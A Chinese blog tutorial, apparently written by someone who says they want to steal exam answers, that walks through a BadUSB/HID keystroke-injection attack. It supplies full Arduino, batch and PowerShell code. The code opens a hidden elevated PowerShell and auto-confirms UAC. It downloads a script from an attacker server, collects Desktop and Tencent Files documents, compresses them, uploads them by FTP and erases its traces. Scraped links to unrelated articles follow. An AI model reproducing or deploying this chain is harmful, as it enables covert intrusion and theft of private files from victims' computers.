HID高级攻击姿势:利用PowerShell脚本进行文件窃取

0×01 引言
又到了期中考试了,我又要去偷答案了,一直发现远程下载运行exe的方式不太好,容易报毒所以这里打算用ps脚本。
0×02 关于HID
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。
0×03 准备工具
一台外网主机(直接电脑接网线宽带拨号也可以)
一个HID攻击工具(烧鹅或者Badusb)
FTPserver(搭建一个FTP服务器用来接收窃取到的文件)
PHPstudy(搭建http服务器用来存放ps脚本等)
7z.exe / 7z.dll(存放到http服务器下,之后会利用它来进行压缩后在上传,尽量减小上传速度)
0×04 代码部分(以下代码可能具有攻击性,请勿用于非法用途)
1.[get.bat](获取需要的文件存放位置,并保存到c:\temp.bat)[该代码存放于服务器http根目录下]
dir /s /a /b "%userprofile%\desktop\*.txt">c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.doc">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.docx">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xlsx">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.ppt">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.eet">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.et">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xlt">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.pdf">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.jpg">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.jpeg">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.png">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.bmp">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.gif">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.rtf">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.htl">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.txt">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.doc">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.docx">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xlsx">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.ppt">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.eet">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.et">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xlt">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.pdf">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.jpg">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.jpeg">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.png">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.bmp">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.gif">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.rtf">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.htl">>c:\temp.bat
2.[get.ps1](清除运行记录,下载服务器中的7z.dll / 7z.exe / get.bat到c盘到相应位置,处理c:\temp.bat为7z压缩为c:\Ram.7z,上传c:\Ram.7z到FTP服务器根目录下,删除所有下载的文件!!!一共需要改4处IP地址!!!)[该代码存放于服务器http根目录下记得设置FTP服务器密码为admin admin]
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f;
(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/7z.dll','c:\7z.dll');
(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/7z.exe','c:\7z.exe');
(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/get.bat','c:\Users\Public\get.bat');
C:\Users\Public\get.bat;$array="";foreach($u in(get-content c:\temp.bat)){[array]$array +='c:\7z a -t7z c:\Ram.7z "'+$u+'"'};$array | Out-File -Encoding default c:\temp.bat;c:\temp.bat;
$fileinf=New-Object System.Io.FileInfo("C:\Ram.7z");
$ftp = [System.Net.FtpWebRequest] [System.Net.FtpWebRequest]::Create("ftp://192.168.1.1/"+$fileinf.name)
$ftp.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile
$ftp.Credentials = new-object System.Net.NetworkCredential("admin","admin")
$ftp.UseBinary = $true
$ftp.UsePassive = $true
$content = [System.IO.File]::ReadAllBytes($fileInf.fullname)
$ftp.ContentLength = $content.Length
$rs = $ftp.GetRequestStream()
$rs.Write($content, , $content.Length)
$rs.Close()
$rs.Dispose()
Remove-Item c:\temp.bat
Remove-Item c:\Ram.*
Remove-Item c:\7z.*
Remove-Item c:\Users\Public\get.*
3.[get.ino](以管理员权限下载get.ps1到本地c:\users\public目录!!!需要改1处IP地址!!!UAC闪过之后要记得拔出)[修改IP后直接刷入]
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay();//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay();
Keyboard.press('r');//r键
delay();
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay();
Keyboard.println("POWERSHELL -NOP");
delay();
Keyboard.println();
delay();
Keyboard.println("START-PROCESS -fILEpATH POWERSHELL \" -NOP -W HIDDEN -C SET-eXECUTIONpOLICY rEMOTEsIGNED -FORCE;CD $ENV:PUBLIC;(nEW-oBJECT sYSTEM.nET.wEBcLIENT).dOWNLOADfILE(\'HTTP://192.168.1.1/GET.PS1\',\'C:\\USERS\\PUBLIC\\GET.PS1\');./GET.PS1;EXIT\" -vERB RUNAS;EXIT");
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
Keyboard.release(KEY_LEFT_ALT);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.print('y');
Keyboard.release(KEY_LEFT_ALT);
Keyboard.release(KEY_LEFT_ALT);
Keyboard.release(KEY_LEFT_ALT);
Keyboard.release(KEY_LEFT_ALT);
delay();
}
HID高级攻击姿势:利用PowerShell脚本进行文件窃取的更多相关文章
- 利用SHELL脚本实现文件完整性检测程序(1.2版更新)
一..开发背景 因时势所逼,需要对服务器的文件系统实行监控.虽然linux下有不少入侵检测和防窜改系统,但都比较麻烦,用起来也不是很称手.自己琢磨着也不需要什么多复杂的功能,写个脚本应该就可以满足基本 ...
- 利用shell脚本统计文件中出现次数最多的IP
比如有如下文件test.txt 1 134.102.173.43 2 134.102.173.43 3 134.102.171.42 4 134.102.170.9 要统计出现次数最多的IP可 ...
- cocos2d-x 3.0 利用python脚本在文件夹Classes内创建class
因为VS2012创建默认文件是在proj.win32下,新建类不在VS的classes于是编译时找不到类.直接写个脚本帮助新建类(cpp和h文件),还能够在里面加上一些预先写好的代码. 批处理文件Cr ...
- 利用python搭建Powersploit powershell脚本站点
powershell脚本站点的搭建 一.Powersploit Powersploit是一款基于powershell的后渗透(Post-Exploitation)框架,集成大量渗透相关模块和功能. 下 ...
- 利用Nuget打包添加tools下intsall.ps1【powershell脚本】修改.csproj文件
利用Nuget打包添加tools下intsall.ps1[powershell脚本]修改.csproj文件, 以设置1.项目-生成->输出->选择[XML文件文件] 2.项目->调试 ...
- 在 Snoop 中使用 PowerShell 脚本进行更高级的 UI 调试
原文:在 Snoop 中使用 PowerShell 脚本进行更高级的 UI 调试 版权声明:本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可.欢迎转载.使用.重新发布, ...
- 利用 Powershell 编写简单的浏览器脚本
生活中有很多事情是低效益,重复性.比如每天上某些网站,先登录再签到打卡,比如每隔一段时间清理回收站的文件等等.一个成熟的软件工程师应该想到用软件解决他. 对于这些简单的小任务,一般用脚本实现.比如Py ...
- 利用PowerShell复制SQLServer账户的所有权限
问题 对于DBA或者其他运维人员来说授权一个账户的相同权限给另一个账户是一个很普通的任务.但是随着服务器.数据库.应用.使用人员地增加就变得很枯燥乏味又耗时费力的工作.那么有什么容易的办法来实现这个任 ...
- PowerShell 脚本中的密码
引言 笔者在<PowerShell 远程执行任务>一文中提到了在脚本中使用用户名和密码的基本方式: $Username = 'xxxx' $Password = 'yyyy' $Pass ...
随机推荐
- FileReader本地预览图片
<body> <p><label>请选择一个图像文件:</label><input type="file" id=" ...
- 20145218 《Java程序设计》课程总结
20145218 <Java程序设计>课程总结 每周读书笔记链接汇总 20145218<Java程序设计>第一周学习总结 20145218<Java程序设计>第二周 ...
- cssText在 IE6/7/8和chrome/Firefox/IE9+的不同
一,结尾没有分号 <div style="font-size:14px;">test</div> <script type="text/ja ...
- kmeans算法原理以及实践操作(多种k值确定以及如何选取初始点方法)
kmeans一般在数据分析前期使用,选取适当的k,将数据聚类后,然后研究不同聚类下数据的特点. 算法原理: (1) 随机选取k个中心点: (2) 在第j次迭代中,对于每个样本点,选取最近的中心点,归为 ...
- 《javascript高级程序设计》第21章 Ajax和Comet
21.1 XMLHttpRequest 对象 The XMLHttpRequest Object 21.1.1 XHR 的用法 XHR Usage 21.1.2 HTTP 头部信息 XHR Head ...
- hadoop分布式的环境搭建
版本: 使用hadoop1.1.2 JDK为java7 1.下载hadoop 2.配置hadoop文件 3测试 1.下载hadoop: 1.1 在https://archive.apache.o ...
- 使用DD_belatedPNG让IE6支持PNG透明图片
使用DD_belatedPNG让IE6支持PNG透明图片 众所周知IE6不支持透明的PNG图片,而PNG图片在Web设计方面表现力上,具有其它图形格式所达不到的效果,IE6这一致命缺陷极大地限制了We ...
- Java:数组
数组 数组是一种引用数据类型(所以才会看到 new int[]),数组的长度初始化完成后是固定的.在内存中初始化数组后的空间就固定下来,即便数组中的内容被清空了,但在内存中占有的空间保留了下来,依然是 ...
- YouTube技术架构
谈不上翻译,就是摘录 1 billion video views per day 1.Apache 2.Python 3.Linux (SuSe) 4.MySQL 5.psyco, a dynamic ...
- java之代理模式
静态代理: java代理是一种模式--代理模式.采用代理模式,可以在不改变目标类代码的基础上,通过代理对象,来增加额外的功能(比如增加日志检测等)或者只需要目标对象的部分行为. java中,代理分为静 ...